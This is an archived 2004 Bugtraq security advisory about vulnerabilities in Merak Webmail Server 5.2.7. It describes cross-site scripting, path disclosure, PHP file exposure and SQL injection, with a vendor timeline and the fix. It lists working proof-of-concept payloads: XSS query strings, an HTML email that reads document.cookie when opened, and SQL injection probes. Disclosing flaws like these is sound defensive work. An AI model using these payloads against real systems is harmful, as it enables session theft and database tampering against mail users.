bugtraq - Vulnerabilities in Merak Webmail Server.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <c8e73151cb8e3784ac781db050369fbe@criolabs.net>
Date: Tue, 17 Aug 2004 10:30:39 -0400
From: Criolabs <security@...olabs.net>
To: bugtraq@...urityfocus.com
Subject: Vulnerabilities in Merak Webmail Server.


****************************************************************************************************
                                             CRIOLABS
http://www.criolabs.net


- Software:  Merak Webmail Server 
- Type:      Webmail
- Company:   Merak Mail Server, Inc.



****************************************************************************************************



## Software ##

Software:   Merak Webmail Server
Version:    5.2.7
Plataforms: All Windows platforms
Web:        http://www.merakmailserver.com/


## Vendor Description ##

Merak's WebMail Server is used by thousands of companies around the world to provide secure (ssl) anytime-anywhere access to home, office or ISP email via a browser or WAP-enabled device.

In less than 10 minutes you can have the same professional email server that organizations such as NATO, the U.S. Navy, the FBI, Toyota, the U.S. Government, and many ISP Providers and Developers depend on every day.



## Vulnerabilities ##

Cross-Site Scripting, Full path disclosure, Exposure of PHP files, SQL-Injection. 



## Cross-Site Scripting ##


There are a lot of Input Validation Holes in this soft. An attacker can perform an XSS attack and be able to access the target user's cookies.


/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category="><script>alert()</script>&cserver=&ext=

/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=">[XSS]&ext=

/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=&ext=">[XSS]

/address.html?id=[id]&sort=&selectsort=&global=">[XSS]&showgroups=&showlite=&category=&cserver=&ext=

/address.html?id=[id]&sort=&selectsort=&global=&showgroups=">[XSS]&showlite=&category=&cserver=&ext=

/address.html?id=[id]&sort=&selectsort=&global=&showgroups=&showlite=">[XSS]&category=&cserver=&ext=

/settings.html?autoresponder=1&id=[id]&spage=">[XSS]

/settings.html?autoresponder=">[XSS]&id=[id]&spage=0

/readmail.html?id=[id]&folder=">[XSS]


The next files (attachment.html,calendar.html), can be executed without knowing user's session ID number. 


/attachment.html?attachmentpage_text_error=">[XSS]

/calendar.html?id=1&schedule=admin%40merakdemo.com&cv=n&folder=<script>alert()</script>

/calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=">[XSS]

/calendar.html?id=[id]&cv=">[XSS]&ct=[ct]&sf=addevent&ESdhour=8



Also it is possible to inject a XSS in the message directly, example:

Open your mail and write a new message like this :

#Image 1.jpg

<IMG alt="" hspace=0 src="javascript:alert(document.cookie)" align=baseline border=0><IFRAME src="http://www.google.com"></body> </html> </IFRAME>

Then click on the HTML message checkbox (in order to send it in HTML format) -

#Image 2.jpg and 3.jpg

The XSS will be executed on your browser. If you send the message, the XSS also will be executed when the victim read the mail.

#Image 4.jpg


Conclusion: If you send a Content-Type: text/html message with an XSS attack, always will be executed when the victim reads the message.

Also you can send the XSS in the Subject. This XSS is executed when the victim reply to this is in HTML format.





## Full path disclosure ##

Some variables of adress.html can cause that a remote user may be able to determine the installation path.




#Example:


/mail/address.html?id=[id]&sort=criolabs&selectsort=criolabs&global=criolabs&showlite=criolabs&category=criolabs&cserver=&ext=


#Error Example:

Warning: reset(): Passed variable is not an array or object in C:\Archivos de programa\Merak\html\mail\address.html on line 565

Warning: Variable passed to each() is not an array or object in C:\Archivos de programa\Merak\html\mail\address.html on line 566

Warning: reset(): Passed variable is not an array or object in C:\Archivos de programa\Merak\html\mail\inc\function.address.php on line 100

Warning: Variable passed to each() is not an array or object in C:\Archivos de programa\Merak\html\mail\inc\function.address.php on line 101





#Example:

/calendar.html?id=6213dcc45fdbccc9af207d32722b93a7&cv=%22criolabs&ct='criolabs&sf='criolabs


#Error Example:

You can see this in the webmail logs:

Warning: mktime(): Windows does not support negative values for this function in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 413

Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 413

Warning: mktime(): Windows does not support negative values for this function in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 417

Warning: mktime(): Windows does not support negative values for this function in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 420

Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 420

Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 350





## Exposure of PHP files ##


The server allows that remote users can download all the files with .php extension from the server.


#Example:

http://localhost:32000/mail/inc/function.php
http://localhost:32000/mail/inc/function.view.php



## SQL-Injection ##



There are Sql-Injection problems in calendar, a remote user may be able to inject SQL commands.

/calendar.html?id=1'&schedule=[SQL]

You can see in the logs :

DB Calendaring Error 
[Microsoft][Controlador ODBC Microsoft Access] 
Error de sintaxis (falta operador) en la expresi�n de consulta 'OWN_Email = ''[sql]''.


/calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=';'&Eid=criolabs'

DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] 
Error de sintaxis en la cadena en la expresi�n de consulta 'EVN_ID = 'criolabs'''.

DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] 
Error de sintaxis en la cadena en la expresi�n de consulta 'RMNEVN_ID = 'criolabs'''.

DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access] 
Error de sintaxis en la cadena en la expresi�n de consulta 'CNTEVN_ID = 'criolabs'''.

--    --


## History ##

Vendor Contacted :  Wed, 04 Aug 2004

Thu, 12 Aug 2004 :  New Release of Merak Mail Server 7.5.2



## Solution ##

Download the new release.
http://www.MerakMailServer.com/Download/


## Credits ##

Criolabs staff
http://www.criolabs.net
Ariginal advisory and attachments in Criolabs.net